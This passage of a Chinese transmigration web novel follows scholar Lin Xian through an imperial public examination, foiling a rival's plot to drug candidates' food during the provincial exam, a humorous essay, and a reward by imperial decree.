与周围紧张到窒息的气氛形成鲜明对比,他脸上不见丝毫慌乱,步履沉稳目光平静,甚至嘴角还带着一丝若有若无的淡然笑意。
他走到广场中央,对着高台躬身行了一个标准的学子礼,朗声道:“学生林闲,拜见御史大人,学政大人!”
姿态不卑不亢,气度从容。
吴御史锐利的目光如同实质般落在林闲身上,仔细打量了这个引起滔天风波的老秀才(如今已是中年模样)足足三息时间,才缓缓开口。
他的声音不高,却清晰传遍全场,带着一股冰冷的威严:
“林闲,今日复核乃奉上谕,非同寻常科举。本官与周学政将现场命题,你需当场作答。题目可能涉及经义释义、时政策问、诗词歌赋,乃至圣心微意。范围之广难度之深非比寻常。你,可敢应战?”
这话语如同重锤,敲在每个人的心上。
这分明是警告,也是最后的确认。
全场死寂,所有人都屏住呼吸,目光聚焦于场中那孤身一人的青衫身影。
面对这足以让寻常秀才吓破胆的阵势,林闲却缓缓直起身,迎上吴御史那审视的目光。
他脸上非但没有惧色,反而那抹淡然的笑意加深了几分。
他清了清嗓子,用一种清晰、平稳、甚至带着几分轻松调侃的语气回应道:
“回大人话。学生林闲,十年磨一剑,霜刃未曾试。今日既蒙圣恩,得此机会于光天化日、朗朗乾坤之下,展露所学,以正视听,幸何如之?”
他顿了顿,目光扫过周围黑压压的人群,最后重新定格在高台之上,随即声音陡然提高,带着强大的自信:
“莫说经义策问,便是圣上亲临垂询,学生亦当知无不言,言无不尽!但请大人——出题!”
“但请大人出题!”
这六个字,如同惊雷,炸响在寂静的广场上空。
那份睥睨一切的自信,那种将这场生死考验视作寻常答辩的从容,瞬间震撼了所有人!
山雨欲来风满楼,明伦堂前,一场决定命运的对决,正式拉开序幕!
而林闲这石破天惊的开场,已然先声夺人!
第五十七章 堂前考试(上):送分题
明伦堂前,空气仿佛凝固。
数百道目光,有好奇,有不屑,有担忧,更有等着看笑话的,此刻尽数聚在场中央那道挺拔的身影上。
林闲一袭青衫,淡然立于众人视线焦点。
他脸上不见半分紧张,唯有山崩于前而不改色的从容。这份气度,已然让一些存心挑剔的人暗自钦佩。
钦差御史吴大人面容肃穆,不怒自威,与身旁的学政周大人交换了一个眼神。
周大人微微颔首,目光转向林闲时,带着一丝不易察觉的鼓励。
周学政率先开口,压下了所有窃窃私语:“第一题,由本官来出。”
全场瞬间屏息,所有人都竖起了耳朵,想知道这决定林闲命运的第一道关卡究竟是何等难题。
周学政略作停顿,目光扫过台下众士子,最终落回林闲身上,缓缓道:“题目是——论格物致知与经世致用之关系。”
此题一出,台下反应各异。
一些只会死记硬背的学子暗暗叫苦,觉得此题空泛,难以着墨。
但更多有见识的士子则是眼睛一亮,心中暗赞周学政高明!
此题看似宏大传统,实则内涵极深,绝非简单引用朱子语录就能应付。
它考察的是考生真正的独立思考能力、对儒学核心概念的理解以及联系现实的功力。
这分明是给了林闲一个绝佳的舞台,让他发挥其不囿于经典的独特长处!
“周大人这是在给林闲送分题啊!”
有人低语。
“却也未必!答得不好,更容易暴露浅薄。”
旁边有人持不同看法。
林闲心中雪亮,这是周学政在回护他,为他铺路。
他深吸一口气,并未像寻常士子那般立刻躬身称“是”,然后引经据典。
而是从容地向前微踏半步,目光平静迎向周学政和吴御史,朗声笑道:“学生以为,格物致知是根,经世致用是果。无根之果,终是虚妄;无果之根,亦是空谈!”
开场一句,言简意赅直指核心,瞬间抓住了所有人的注意力。
没有冗长的开场白,没有繁琐的礼节性套话,只有干净利落的观点。
他顿了顿,目光如炬扫过台下众人,声音陡然提升,开启那段日后**南士子们津津乐道的“格物新解”:
“然,何谓格物?”
林闲抛出一个问题,随即自问自答:“格物绝非仅仅格竹悟道,空谈性理。那只是格物之一隅,而非其全貌!”
“格一株稻禾,细察其生长枯荣,可知农时稼穑之艰辛,明‘民以食为天’之重,此乃格物!”
“格一把算盘,精研其精算之妙,可明钱粮赋税之流转,懂国家运转之基,此亦是格物!”
说到此处他话锋猛地一转,指向自身带傲然道:
“格一块香皂,深究其油脂碱液之变,可通物理变化之妙用,创便民利国之器,这——还是格物!”
“轰!”
台下瞬间炸开了锅!
林闲将香皂与稻禾、算盘并列,将工匠之术提升到与农事、经济同等的高度,这简直是离经叛道!
但这个论点却又让人无法立刻反驳,因为仔细一想,其中逻辑竟自成一派。尤其林闲是以自身成功的实践为例,更具说服力。
不少守旧学子涨红了脸,想反驳却一时找不到合适的词句。
林闲无视下方的骚动,声音愈发清朗,如同玉磬敲响:“格物至此,由表及里由器入道,方为致知——知民生之多艰,知经济之脉络,知技艺之可为!得此真知灼见,方能谈致用!”
他言辞陡然变得犀利,直指当下士林空谈之弊:“若只知背诵民为贵,社稷次之,君为轻,却不知如何让民富足、社稷稳固。只空谈轻徭薄赋,却不懂如何开源节流、发展生产、充盈府库。此等致用不过是纸上谈兵自欺欺人,于国于民,可有半分益处?!”
这一问如重锤,敲在不少只读圣贤书的学子心上。
既让他们面红耳赤,也让周学政和吴御史眼中精光一闪。
最后林闲做总结,声音恢弘道:“故格物须务实,不尚空谈。致知要求真,明辨是非。致用要利民,知行合一。三者环环相扣,犹如江河之行源流相继,不可偏废!”
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他再次看向周学政和吴御史,语气转为平和却更显自信:“如学生不才,研制香皂、防晒霜诸物。看似微末小道,却亦是格物之实践,致知之途径。若能便利民生创造价值,助安远繁荣,便是经世致用之发端。此为学生一点浅见,望两位大人指正。”
一番论述,如行云流水起承转合。
既有理论高度,又紧密贴合实际,更巧妙地为自己所有的“离经叛道”之行进行了理直气壮的正名!
林闲不仅回答了问题,更展现了一种迥异于常人的视野和深刻的洞察力。
整个明伦堂前,寂静无声。
所有人都被这番别开生面、振聋发聩的言论所震撼。
周学政脸上难以抑制地露出激赏之色,他原本还担心林闲在巨大压力下会拘谨,没想到此子竟能超常发挥,将一次考核变成了个人思想的精彩宣讲!他抚须的手都因激动而微微颤抖,转头看向吴御史,声音带着欣慰:“吴大人,你看此题……”
一直面无表情的吴御史,此刻深邃的眼眸中也掠过一丝惊异。他深深看了林闲一眼,似乎要重新审视这个年轻的士子。片刻后,他缓缓开口,声音依旧平淡,却掷地有声:
“不循章句,却直指内核。言之有物,自圆其说,更有……破旧立新之气魄。此关,通过。”
“轰!”
台下顿时爆发出更大的声浪!惊叹声、佩服声、议论声交织一片。
“过了!真的过了!”
“厉害!这番见解,闻所未闻,却让人无从反驳!”
“吴大人竟给出了‘破旧立新’的评价!这可是极高的赞誉啊!”
第一关,林闲不仅轻松通过,在思想层面给了所有潜在质疑者一记响亮的耳光!
那份从容自信和真知灼见,瞬间征服了在场许多学子。
众人的目光,很快再次聚焦于钦差御史吴大人身上。
第一题是周学政所出,总是被人联想带有回护之意。
这接下来的第二题,由吴大人亲出,恐怕就绝不会是“送分题”那么简单了。
真正的考验,现在才刚刚开始!
第五十八章 堂前考试(下):巧破御史刁钻题
第一关的轻松尚未完全消散,更凝重的压力已如乌云压顶般袭来。
所有人的目光都从周学政那里转移到代表朝廷最高监察权威的钦差御史——吴大人身上。
他才是今日公审的真正主考,其最终表态将决定林闲的生死。
吴御史缓缓起身,带着千钧重压。
他并未立刻开口,那双锐利如鹰隼的目光,先在林闲身上停留了数息,冰冷、审视,仿佛要穿透他的衣衫,直窥其内心虚实。
整个明伦堂前,落针可闻,连呼吸声都刻意压低了。
“林闲!”
吴御史终于开口。
他声音不高,却字字如冰珠砸落玉盘,冷冽刺骨:“第二题,由本官来出。”
他微微停顿,制造出令人窒息的悬念,这才一字一顿抛出考题:“题目是——若你为本地知县,遇丰年谷贱伤农,歉年米贵伤民,当如何权衡施策,以保境安民?”
“嘶——”
此话一出,台下顿时响起一片倒吸冷气之声。
就连台上端坐的周学政和其他官员,脸色也都微微一变,互相交换着担忧的眼神。
这题目何止是刁钻,简直是狠辣!
“谷贱伤农,米贵伤民”,这是困扰了历代王朝和地方官府的经典两难悖论,堪称地方治理的“绝症”。
多少能臣干吏,在此题前折戟沉沙。
若答“重农抑商”则流于空谈,若答“平籴法常平仓”则老生常谈,且具体操**端重重。
答得稍有差池不仅显得无能,更可能触及赋税、粮政等敏感区域引火烧身。让一个秀才去设想知县之责,这分明是吴御史要将林闲逼入绝境,看他是否只有些小聪明,还是真有经天纬地之实学。
远处的阁楼上,默默围观的苏元心都提到了嗓子眼,紧张得指甲深深掐入掌心。
林闲此刻,也是心头巨震。
他知道难题会来,却没想到来得如此直接、如此凶险!
这已不是考核学问,而是在考核他的政见、魄力和急智!
他深吸一口气,强迫自己冷静下来,脑中CPU疯狂运转。
前世关于粮食安全、宏观调控、期货市场、社会保障等知识碎片,与今生对安远县情、大周朝局的观察迅速碰撞融合……
在令人压抑的寂静中,林闲并未惊慌失措,而是先对着吴御史深深一揖,态度不卑不亢,语气诚恳:“大人此问直指为政核心,关乎黎民福祉,实乃天下牧守首要之难题。学生年少学浅姑妄言之,若有狂妄不当之处,恳请大人恕罪斧正。”
这番谦逊得体的开场,稍稍缓和了剑拔**张的气氛,也展现了良好的心态。
然而当林闲直起身抬头,坚定迎向吴御史审视的目光时。
他说出的第一句话,却让所有期待他高谈阔论的人差点栽倒:
“回大人!学生若为知县,遇到此千古难题,首要之策并非空谈仁政抑或严法,而是立刻着手,兴建一座足够大的官仓!”
“建……建仓?”台下顿时一片哗然!
“这算什么答案?哪个县没官仓?这林案首是被吓糊涂了吗?”有人失望低语。
“果然匠气终究是匠气,登不得大雅之堂!”
先前被林闲“格物论”压制的守旧学子仿佛找到了反击点,面露讥讽。
连吴御史的眉头也几不可察皱了一下,显然对这个过于“朴实”甚至显得有些愚蠢的开场极为不满。
就在质疑声即将泛起之时,林闲嘴角却勾起一抹自信的弧度,话锋陡然一转,声音清朗,压过所有杂音:“然学生欲建之仓,非为陈腐旧仓,亦非仅用于堆放糟粮。此仓学生愿称之为平准常平储备库!亦可通俗理解为一县之粮食调节总枢!”
“平准?常平?总枢?”
这些新鲜而精准的词汇,瞬间抓住了所有人的好奇心。
连吴御史审视的目光中,都闪过一丝异色。
林闲不再给众人思考的时间,开始了他波澜壮阔的论述。
他单手负后,另一只手随着话语节奏挥动,仿佛在指点江山:“丰年时节谷贱如泥,农夫血汗不值钱。此时官府便当效法良贾,于市价低迷之时果断入场,低吸储粮!”
他目光扫过台下,特别是那些可能出身农家的学子:“我这粮食总枢便以合理保护价,敞开收购余粮!此举一在保护农人辛苦,使其劳有所得不至因丰产而反陷贫困,此为安农之本!”
“二在充实官府储备,仓廪实而知礼节,国库有粮,心中不慌。此为固国之基!”
说到此处,他语调带着一种洞悉市场规律的从容:“此时低吸看似花费官银,实则是为未来蓄势。既稳民心,亦是为来日高抛备下本钱!”
这“低吸”的比喻,将官府行为与商业智慧相结合,台下顿时响起一片恍然和惊叹之声。
“然购粮之巨款从何而来?”
林闲自问自答。
他的思维缜密,步步为营继续道:“可设地方平准基金,从县衙财政盈余、商税专项、甚至发行小额地方建设债券,向本县信誉良好之士绅富户借贷,约定以未来仓粮或部分平准收益偿还!此谓之以未来之信,解当下之困!”
“债券?”
“基金?”
这些前所未闻的金融概念,让在场的士子官员们听得目瞪口呆,却又觉得隐隐契合经济之道。
林闲声音陡然拔高,带着一种为民**的决绝,“而贫年时米贵如金奸商囤积,百姓嗷嗷待哺。此时便是我官府履行平准之责,适时高抛之时!”
他大手一挥,气势磅礴:“开仓!以低于市价之平价,售粮或借贷于贫苦百姓,严厉打击囤积居奇。咱们官府丰年低吸之粮,此刻正当用以平抑物价、救济苍生。这已非牟利,而是还利于民稳定社稷。正所
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谓低吸以护农,高抛以安民!”
最后他面向吴御史,总结陈词道:“当然此法说来简单,行之极难。需有精明强干之吏员操作,需有严格透明之章程防硕鼠蛀虫!核心在于官府必须有所作为,承担起调节之责,不能放任自流徒叹两难。”
他顿了顿,看着认真倾听的御史悠悠补充道:“同时还需鼓励农户种植杂粮,发展畜牧工坊等副业,避免单一作物依赖。学生坚信,唯有让农人流汗不流泪,让百姓饥馑有依凭,方称得上保境安民,方不负朝廷托付和百姓期望!”
他这一套组合拳,从建仓这个看似平庸的起点出发,层层递进,融汇了“保护价收购”、“战略储备”、“平准基金”、“调控市场”等超越时代的核心思想。
更用“粮食总枢”、“低吸高抛”等精妙类比,将一项复杂国策阐述得淋漓尽致、通俗易懂又气势磅礴!
全场经历了短暂的极致寂静后——
“好!!”
周学政第一个忍不住击节叫好,满脸的激动与赞赏。
“太妙了!低吸高抛,此言大善!”
台上的官员们,也纷纷动容赞叹。
“低吸护农,高抛安民!林案首真乃经世奇才!”
台下的士子们彻底沸腾,喝彩声不绝于耳!
先前讥讽之人此刻面红耳赤,哑口无言。
吴御史那万年寒冰般的脸上,此刻清晰地出现了动容之色!
他的嘴角微微抽动,眼中不再是官方的审视,而是浓浓的欣赏,甚至是一丝震撼。
他完全没料到林闲不仅没有被千古难题吓倒,反而给出了一个如此务实且极具操作性的解决方案。
这哪是一个秀才的见解,这分明是核心能臣干吏才有可能想出的方略!
在一片沸腾的喝彩声中,吴御史缓缓抬起手。
广场瞬间再次安静下来,所有人都屏息凝神,等待最终的裁决。
吴御史目光复杂看着依旧从容的青衫士子,最终沉声开口:“林闲所答别开生面,言前人所未言。其策立足现实高屋建瓴,深得调控之三昧,更兼一颗拳拳爱民之心!”
他略一停顿,声音陡然提高宣布:
“此关——通过!”
“轰!!!”
整个明伦堂广场,彻底陷入了狂欢。
欢呼声震天动地,所有人都在为林闲这惊天逆转的表现而喝彩!
林闲站在场中,面带微笑向四方拱手致意。
他知道这场御前公审,他已彻底扭转乾坤。
林富贵的御状非但没能将他打倒,反而成了他名动天下、展现惊世才华的最佳垫脚石!
而高台之上吴御史负手而立,望着台下那个光芒万丈、宠辱不惊的年轻身影,心中已是波澜起伏。
他捋了捋胡须暗忖道:“此子之才,经天纬地!假以时日,必为国之栋梁!对我大周……绝对大有裨益!”
第五十九章 打脸赵公子:毒计与破局
秋闱之日,贡院门前。
寅时刚过,已是黑压压一片人头攒动。
各省士子手提考篮,面容肃穆中透着难以掩饰的紧张,在衙役呼喝声中排成长龙,等待搜检入场。
空气弥漫着墨香汗臭,还有令人心悸的焦虑。
赵公子缩在人群靠前的位置,脸上早已没了前几日的嚣张,取而代之的是阴沉和得意。
昨夜他对林闲当众羞辱的刻骨恨意,最终催生出一条无比恶毒的计策。
他深知考场规矩,九天饮食由官府提供,但允许自带少量耐存干粮。
他花费重金,买通了负责搜检行李的一个小吏头目。
此人同时也是其父赵宪早年安插的一枚暗棋,赵公子递给他一种特制的药粉(无色无味,服下后约一两个时辰才会发作,引发剧烈腹痛、难以忍受的腹泻。)
他要小吏在搜察时,将这药神不知鬼不觉地撒入特定考生的干粮之中。
赵公子特别交代,重点“关照”对象有三:一是与林闲交好、曾为其摇旗呐喊者。二是那些购买了“闲雅套装”、在他看来是趋炎附势的富家子弟。三是几个平素与他有隙、屡屡冲撞他的对头。
他要让这些人在开考的关键时刻,在众目睽睽之下出尽洋相狼狈出恭,甚至虚脱昏厥,被迫放弃考试。
同时他要让林闲亲眼看着他的“盟友”和“拥趸”是如何被他赵公子**于股掌之上,却无能为力……
很快搜检开始。
轮到林闲时,他坦然张开双臂。
那名被买通的小吏头目眼神闪烁,动作格外“细致”地翻检着他的考篮,尤其在装有肉脯和烙饼的油纸包上停留许久,手指似乎无意想捻动。
林闲心中警铃微作,此人目光游移不似寻常胥吏。
但在他仔细审视下,那小吏似乎有所忌惮,并未敢再有什么动作。
林闲暗自决定更加小心,为保险起见他将小吏接触过的食物单独放好。
很快考生们如流水般通过闸口,涌入那象征着荣耀与煎熬的贡院。
按照号牌顺序,鱼贯进入一个个仅容旋踵、阴暗潮湿的号舍。
号舍内一板一凳,四壁空空,如同囚笼。
辰时正三声鼓响,沉重的大门轰然关闭,锁链声刺耳,意味着秋闱正式开启。
九天的煎熬,就此拉开序幕。
按照惯例在发放试卷前,先由差役分发第一顿早饭——清可见底的稀粥和一碟寡味的咸菜。
许多士子为了赶考,起得太早,此刻早已饥肠辘辘。不少人便先拿出自带的干粮,就着稀粥匆匆垫腹。
祸根就此埋下,毒计悄然启动。
约莫一个时辰后,试卷尚未下发,考场内异变陡生!
起初,只是某个角落传来压抑的闷哼。
紧接着如同点燃了引线,痛苦的**此起彼伏,迅速连成一片。
只见不少士子脸色骤然惨白,冷汗如浆从额头渗出。他们双手捂住腹部,身体蜷缩成一团。甚至有人从凳子上滑落,瘫软在地。
“哎……哎呦!我的肚子……痛煞我也!”
“不、不行了……大人!学生要出恭!急!”
“噗——”(不堪入耳之声)
一时间,原本庄严肃穆、落针可闻的考场,彻底乱了套!
**声、告急声、慌乱的脚步声、以及从茅厕方向传来的污秽之气交织在一起,秩序荡然无存。
监考的御史、学政官员们面面相觑,脸色铁青。
他们主持科考多年,何曾见过这等骇人景象?这简直是斯文扫地,科场丑闻!
而始作俑者赵公子,躲在自家的号舍里嘴角难以抑制地向上咧开,形成一个极其恶毒而扭曲的笑容。
计划成功了!
他几乎能想象出林闲此刻那惊慌失措、徒呼奈何的蠢样!
痛快!实在是太痛快了!
然而,他高兴得太早了。
林闲在号舍中,将外面的骚动与惨状听得一清二楚。
他心中巨震,瞬间明了!
这绝非偶然的集体食物**,这是有针对性的、蓄谋已久的**,目标直指与他相关的士子!
赵公子那张怨毒的脸和搜检小吏诡异的动作,立刻浮现在他脑海……
“好狠毒的手段!这是要断人前程,甚至可能要人性命!”
林闲心中怒火升腾,但越是危急他越是冷静。
他迅速检查自己携带的所有干粮和饮水,确认无恙后心中稍定。
但听着外面同窗们痛苦的哀嚎,他知道不能再犹豫片刻。
每拖延一分,就多一分危险,多一个寒窗十年的梦想破碎!
他猛地站起身,用力拍打号舍隔板喊道:“巡场大人!巡场大人何在!学生有十万火急之事禀报!”
一名巡场官正焦头烂额,闻声怒气冲冲赶来:“何事喧哗!不知考场规矩吗?!”
林闲拱手,语速极快却字字清晰:“大人明鉴!考场内有数十名士子突发急症,症状高度相似,皆为剧烈腹痛水泻不止。此绝非寻常腹泻,乃是**之兆。学生敢断言,此乃有人蓄意**破坏大比!”
“**?!”
巡场官倒吸一口凉气,脸色骤变。
林闲不给对方思考时间,继续沉声劝道:“学生不才,平日涉猎医书随身恰带有家传秘法精心配制的黄连素散,专克各种急症腹泻。恳请大人速速上报主考,准许学生施药救人。迟则恐生变故,若有士子因此殒命科场,我等皆难辞其咎!”
林闲的“一等案首”身份,此刻成了最大的信誉保障。
巡场官见他说得斩钉截铁,且情况确实危急异常不敢怠慢,立刻飞奔上报。
主考官闻讯,亦是骇得魂飞魄散!
科场集体**若是真的,他这项上乌纱恐怕都难保。
此刻也顾不得许多,一边厉声下令彻查所有饮食水源,一边抱着死马当活马医的心态,紧急特许林闲在官差严密监视下施药救人。
得到许可,林闲立刻行动。
他拿出那个小巧的瓷瓶,里面是他根据前世知识,用黄连等草药反复提纯研磨出的精华粉末。数量本就不多,极其珍贵。
他
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小心倒出少许用清水化开,首先扶起离他最近、已经意识模糊的年轻秀才,将其缓缓灌下。
所有还能保持清醒的人,无论是**者还是幸免者,都屏息凝神看着这一幕。
时间仿佛过得极慢……又极快。
约莫一刻钟后,奇迹发生了!
那位原本气若游丝的秀才,**声渐渐停息。
紧皱的眉头缓缓松开,虽然依旧虚弱,但蜡黄的脸竟回缓了一丝血气。他艰难睁开眼,看向林闲的目光充满无限感激,虚弱谢道:“林……林兄……药……有效……肚痛……好些了……”
“哗——!”
这一幕,如同在黑暗的考场中点燃了一道希望的火炬!
“有效!林案首的药有效!”
“闲先生有解药!我们有救了!”
“林兄!救救我!救我!”
顿时所有**的士子,如抓住了救命稻草。
在官差的维持下,林闲将自己本就不多的黄连素散分成极微的剂量,优先给予症状最危急的同窗。
他动作沉稳语气温和,一边分发药水,一边朗声安抚,声音清晰传遍每个角落:
“诸位同窗坚持住!此药虽不能立刻根除毒性,但足以压制症状。我已禀明大人彻查毒源,必不让宵小之徒逍遥法外。稳住心神,方能继续考试!”
他有限的药粉此刻却如同甘露,每一滴都承载着一个士子的前程和希望。服下药的人腹痛很快得到缓解,虽然身体被掏空般虚弱,但至少保住了留在号舍考试的资格。
他们看向林闲的眼神,充满了难以言表的感激。
“林兄活命之恩,重于泰山!此生必报!”
“若非闲先生仁义,小弟今日必葬身于此陋巷矣!”
“闲先生真乃科场及时雨,江南士林之楷模!”
就连那些未曾**、原本对林闲观感复杂的士子,见此情景也无不动容,心中对林闲的仁心、胆识和担当肃然起敬。
这份临危救难、不计前嫌的胸怀,远比什么诗词才华更令人心折!
而躲在号舍中的赵公子,此刻已经完全傻眼!
他脸上的恶毒笑容早已僵死,他千算万算也算不到林闲居然随身带着解毒奇药。更算不到他会无私将药分给众人。他的毒计非但没有让林闲身败名裂,反而成了林闲搭建万人敬仰高台的垫脚石。
听着外面那一声声对林闲的感恩戴德,对比自己这阴暗角落里的算计,他只觉得一股腥甜涌上喉头,气得几乎要吐血三升!却只能死死咬住嘴唇,将无尽的悔恨和恶念咽回肚里,独自品尝这自作自受的苦果。
经此一役,林闲在学子中的声望,达到了一个前所未有的巅峰。
才学冠绝,仁心义胆,临危不乱,救同侪于水火!
这份沉甸甸的恩情和人望,将成为他未来道路上最坚实的屏障。
而林闲自己则淡然一笑。
他知道这场秋闱从毒计被破的那一刻起,他已经在另一个层面上,取得了决定性的胜利。
接下来,便是第一门的角逐……
第六十章 科场清流:爆梗惊四座
呆考生们腹泻基本止住,林闲着才松了口气,开始安置笔墨纸砚。
随后他并未像周遭学子那般,或正襟危坐如临大敌,或口中念念有词临时抱佛脚。
只见林闲先从考篮最底层取出一个小巧玲珑的琉璃瓶——清心醒神露。
他拔开塞子后,一股极其清冽的薄荷混合着顶级冰片的香气,瞬间冲破了号舍的闷浊弥漫开来。
他用指尖蘸取少许晶莹液体,均匀涂抹在两侧太阳穴和人中处。
顿时一股凉意直冲天灵盖,将残存的困倦和周遭的污浊气息一扫而空。
他整个人变得神清气明,思维前所未有的清晰。
这还不算完。
接着林闲又取出一截做工精致的线香——驱蚊安神香(主要成分是陈年艾草、特选香茅和微量沉香)。
“啪”一声轻响,他用小巧的火折子点燃稳稳插于桌角缝隙。
一缕极细的青烟袅袅升起,迅速赶跑了蚊虫,同时中和了号舍的霉味、汗味以及远处茅厕传来的异味。
这一番行云流水的操作,简直如同鹤立鸡群突兀得令人发指,也“奢华”得让人眼红!
对面号舍那个同赵公子关系不错的胖士子,早已被蚊虫叮得满头是包。
忽然,林闲那边飘来的提神香气飘过,随即蚊子都被熏跑隔壁去了。
他惊喜之余,忍不住隔着栅栏哀求道:“喂!对面那位兄台!你点的这是何仙家宝物?香味竟如此霸道提神!小弟快被这蚊虫啃成筛子了,可否……可否借一缕仙气匀给小弟?小弟愿出高价!”
林闲抬头,见那胖士子一脸的生无可恋,不由得莞尔一笑。
他带着一丝戏谑回复:“此乃特制的文思泉涌加速器与金榜题名安心香,独家秘方概不外售,更不外借。”
他顿了顿,欣赏着对方瞬间垮掉的表情。
随即他促狭补充道:“兄台若觉蚊虫扰人心烦意乱,不妨效法古之贤人多默念几遍《静夜思》,举头望明月,低头思故乡寄情于月,以无上意念驱之或可心静自然凉,蚊虫自退。”
那胖士子闻言目瞪口呆,嘴里嘟囔着:“《静夜思》驱蚊?”
看着手背上新添的红包,胖考生羡慕嫉妒的泪,终于不争气从嘴角流了下来——那是馋的!
在这诡异的氛围中,三声标志性的鼓响,打破了考场的沉寂!
试卷,开始发放!
第一场,考的是经义策论,乃是科举的重头戏。
题目是:《论格物致知与经世致用之关系,并试以漕运或农事为例详述之》。
题目一出,周围顿时响起一片倒吸凉气声。
这题看似是老生常谈的“格物致知”与“经世致用”,但后面要求结合具体的漕运或农事实务进行详述。
这就一下子把那些只会死记硬背、空谈性理的酸儒秀才打回了原形,极其考验考生的知识广度、务实见解和真正的治世之才。
顿时不少士子开始原形毕露,抓耳挠腮者有之,额头冒汗者有之,要么只能干巴巴地谈论“格物”如何重要,“致用”如何必要,两者如何相辅相成,空洞无物。
要么就是生硬堆砌一些道听途说来的漕运数据,文章干瘪得像晒干的咸鱼,毫无血肉灵魂。
而反观“玄”字第七号。
林闲在薄荷冰片和艾草沉香的赋能下,心境澄澈如镜思维活跃如泉。
他看到题目的那刻,差点笑场!
——这哪里是考题?这分明是考官拿着喇叭在他耳边喊:“林闲,请开始你的表演!”
他好整以暇铺开试卷,取出一支狼毫小楷。
在早已研好的浓墨中轻轻蘸饱,略一沉吟便落笔如飞,笔走龙蛇!
林闲开篇先是以精炼的文字引经据典,阐明“格物致知”乃是探究事物原理以获得真知,“经世致用”则是将所得真知应用于国计民生。
二者关系如鸟之双翼缺一难飞,车之两轮偏废则覆。
其立意高远,基础扎实。
紧接着他以更为复杂、更能体现管理能力的“漕运”为例,开始他的“泥石流”式论述:
“夫漕运之格物,非止于观舟行水上,空谈水能载舟,亦能煮粥之理也。(暗讽空谈者只会说废话)”
随后他层层推进,写得具体而微:
“格一艘漕船,须知其长几许、宽几许、吃水多深,载粮几何,何种船型更抗风浪?此乃格物之基,好比相亲先看家底,不能光听媒婆吹牛。”
“格一季漕粮,须知其何时征收,如何晾晒才能防霉防蛀,仓储损耗几何,押运途中又有多少漂没(巧妙暗示贪腐损耗)?”
“此乃格物之细,好比管家算账,得知道米缸到底有多少米,而不是天天喊勤俭持家。”
然后他深吸一口沉香,开启火力全开:
“若为官者,只知摇头晃脑背诵民以食为天,却不知漕船如何能多装快跑、减少损耗。只空谈轻徭薄赋以示仁政,却不懂如何改革漕运制度、打击层层盘剥、真正减轻百姓负担,那么此等致用不过是“岸上教游泳——理论巨人,行动矮子”,于国于民实乃“太监开会——无稽之谈”!”
批判之后,举例论述何为真正的“经世致用”:
真正的经世致用,当如“老农种地”。优秀的老农必先格物(深入研究土壤墒情、气候规律、种子优劣),从而致知(掌
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握何时播种、如何施肥、怎样除虫),最终方能致用(获得丰收)。
若换成一个庸官,只会对老农拍桌子瞪眼高喊亩产必须过千斤,却不提供良种、不兴修水利、不防治病虫害,那么这位官老爷的致用,就是典型的“太监逛青楼——空有想法,无能为力”!
最后他结合“格物致知”的理念,提出了一系列具体务实、令人耳目一新的建议:
“故欲使漕运真正利国利民,必从格物入手:格物船型(研究流体力学),致知于减小阻力之法,致用于改良漕船,提高航速效率;格物仓储(研究防潮防鼠技术),致知于保鲜减损之道,致用于建造新式粮仓,降低粮食损耗;格物吏治(研究管理制度漏洞),致知于贪腐滋生之由,致用于厘清权责、严惩贪墨,保障漕运畅通。如此方为“磨刀不误砍柴工”之真格物致知,方能实现“漕运畅通,国富民安”之大道!”
整篇文章既有理论高度,又紧密贴合实际。
既有犀利批判,又有建设性意见。
更绝的是通篇穿插着各种接地气、形象生动、甚至略带“粗俗”却一针见血的比喻和歇后语,将一篇原本可能枯燥无比的经义策论,写得妙趣横生、观点鲜明、建议具体。
读来令人时而忍俊不禁,时而拍案叫绝!
此刻按例巡视的巡场官,面容严肃走过一排排号舍,看到的不是抓耳挠腮就是愁眉苦脸。
当他摇摇头,最终路过“玄”字第七号时,猛地停下了脚步。只见此号舍不仅没有异味,反而清香怡人,那考生更是神采奕奕,下笔如有神助。
他好奇地凑近些,瞥了一眼试卷上的内容。
这一瞥不要紧,正好看到“太监逛青楼——空有想法,无能为力”那句。
巡场官浑身一僵,赶紧用手死死捂住嘴。
他老脸憋得通红,肩膀控制不住地剧烈耸动,差点当场破功笑出声来!
他强忍笑意,深吸几口气勉强平复下来。
再仔细往下看,越看越是心惊!
此子见解之深刻独到、逻辑之清晰缜密、比喻之精妙泼辣、建议之务实可行,实属他监考多年所未见!
这哪里是考生答卷?
这简直是一篇针砭时弊、充满智慧的政论奇文!
他深深地看了林闲一眼,在心中重重记下了一笔:“玄字第七号,林闲……此子非常人也!文章竟能写得如此……如此清奇霸道。真乃科场一股泥石流!”
第一天的考试,就在林闲这爆梗的答题中,拉开了震撼人心的序幕。
他的这份答卷,必将在大周沉闷数百年的科举考场上,卷起一场狂野的波澜……
第六十一章 皇恩亲封:一等秀才!
林闲那场教科书级的公开复核,将其超凡的实力刻进所有人心里。
喜讯开始传遍府城,并飞速向周边县扩散。
茶楼酒肆、街头巷尾,人人都在热议“林案首”如何PK钦差、妙解难题。
而钦差御史吴大人与学政周大人联名撰写的复核奏报,更是以八百里加急的速度,送达了正在外地巡游的皇帝行辕。
奏报中吴御史和周学政不吝笔墨,详细描述了复核过程。
两人尤其重点记录了林闲对“格物致用”那番深入浅出、结合自身实践的阐述,以及面对“谷贱伤农、米贵伤民”这一千古难题时,提出的那套极具操作性的解决方案。
行辕之内。
皇帝阅罢奏报,心里因有人告御状而对科举公正的忧虑瞬间一扫而空。
取而代之的,是喜获良才的欣喜!
他久居深宫,听腻了朝臣们四平八稳、却往往不切实际的奏对。
林闲这种立足于现实的创新思维,让他眼前一亮。
“好一个林闲!”
皇帝抚掌赞叹,龙颜大悦。
“不唯书,不唯上,只唯实!于细微处洞察秋毫,于困境中别开生面。此子不仅有才,更有胆有识,心系民生。如此栋梁之材,岂能屈于陋巷?”
皇帝当即朱笔一挥,下达了一道情真意切、恩宠有加的特旨:
【奉天承运,皇帝诏曰:朕闻江南有士子林闲,敏而好学才思峻拔,于复核之中应对如流,尤以格物致用之论发人深省,以平准常平之策切中时弊。学问既笃,器识亦宏。朕心甚慰!】
【特赐一等秀才功名,秩比举人享同等待遇。免其家赋役,再赐永业田三百亩,准其见府尊及以下官员不拜。望其砥砺前行早登桂榜,他日为国效力匡扶社稷,则朕深望焉!钦此!】
这道圣旨,宛如一道九天惊雷,再次将全城震得外焦里嫩!
一等秀才!
秩比举人!
见府尊不拜!
赐田三百亩!
这已不是简单的嘉奖,而是破格的超擢。
意味着林闲虽然还未参加乡试,但在官方认定的身份和实际待遇上,已经和正牌举人老爷平起平坐。
这是大周朝开国以来,秀才所能获得的最高荣誉,数量比寻常举人都珍稀得多!
